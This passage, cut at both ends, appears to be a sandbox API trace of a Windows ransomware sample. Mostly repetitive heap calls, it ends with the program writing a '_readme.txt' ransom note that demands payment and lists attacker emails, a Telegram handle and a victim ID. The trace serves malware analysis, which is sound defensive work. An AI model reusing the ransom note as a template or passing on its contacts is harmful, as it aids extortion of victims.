hHeap=0x5e0000) returned 1 [0119.563] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.563] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.563] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.563] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.563] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.563] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.563] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.563] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.563] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.563] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.563] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.563] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.563] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.563] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.563] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.563] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.563] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.563] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.563] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.563] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.563] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.563] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.563] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.563] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.563] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.563] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.563] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.563] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.564] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.564] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.564] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.564] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.564] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.564] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.564] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.564] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.564] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.564] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.564] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.564] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.564] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.564] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.564] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.564] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.564] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.564] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.564] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.564] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.564] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.564] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.564] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.564] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.564] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.564] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.564] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.564] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.564] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.564] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.564] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.564] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.564] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.564] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.565] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.565] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.565] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.565] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.565] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.565] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.565] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.565] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.565] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.565] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.565] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.565] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.565] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.565] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.565] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.565] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.565] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.565] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.565] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.565] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.565] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.565] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.565] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.565] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.565] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.565] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.565] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.565] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.565] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.565] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.565] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.565] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.565] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.565] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.565] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.566] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.566] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.566] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.566] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.566] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.566] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.566] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.566] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.566] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.566] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.566] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.566] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.566] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.566] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.566] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.566] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.566] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.566] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.566] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.566] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.566] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.566] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.566] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.566] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.566] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.566] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.566] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.566] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.566] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.566] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.566] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.566] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.567] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.567] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.567] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.567] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.567] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.567] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.567] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.567] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.567] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.567] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.567] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.567] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.567] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.569] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.569] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.569] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.569] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.569] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.569] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.569] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.569] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.569] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.569] PathFindFileNameW (pszPath="C:\\Boot\\fi-FI\\") returned="fi-FI\\" [0119.569] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.569] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.569] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.569] PathFindFileNameW (pszPath="") returned="" [0119.569] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.569] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.569] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.569] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x800) returned 0x3092b80 [0119.569] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.569] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x307f550 [0119.570] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.570] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.570] PathAppendW (in: pszPath="C:\\Boot\\fi-FI\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 1 [0119.570] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.570] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.570] PathFileExistsW (pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 0 [0119.570] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x7d00) returned 0x3095780 [0119.570] lstrcpyW (in: lpString1=0x3095780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.570] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt 